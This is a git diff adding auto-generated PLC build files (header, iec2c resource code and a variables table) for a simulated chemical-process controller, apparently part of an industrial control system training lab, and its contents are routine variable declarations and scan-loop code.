__DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; 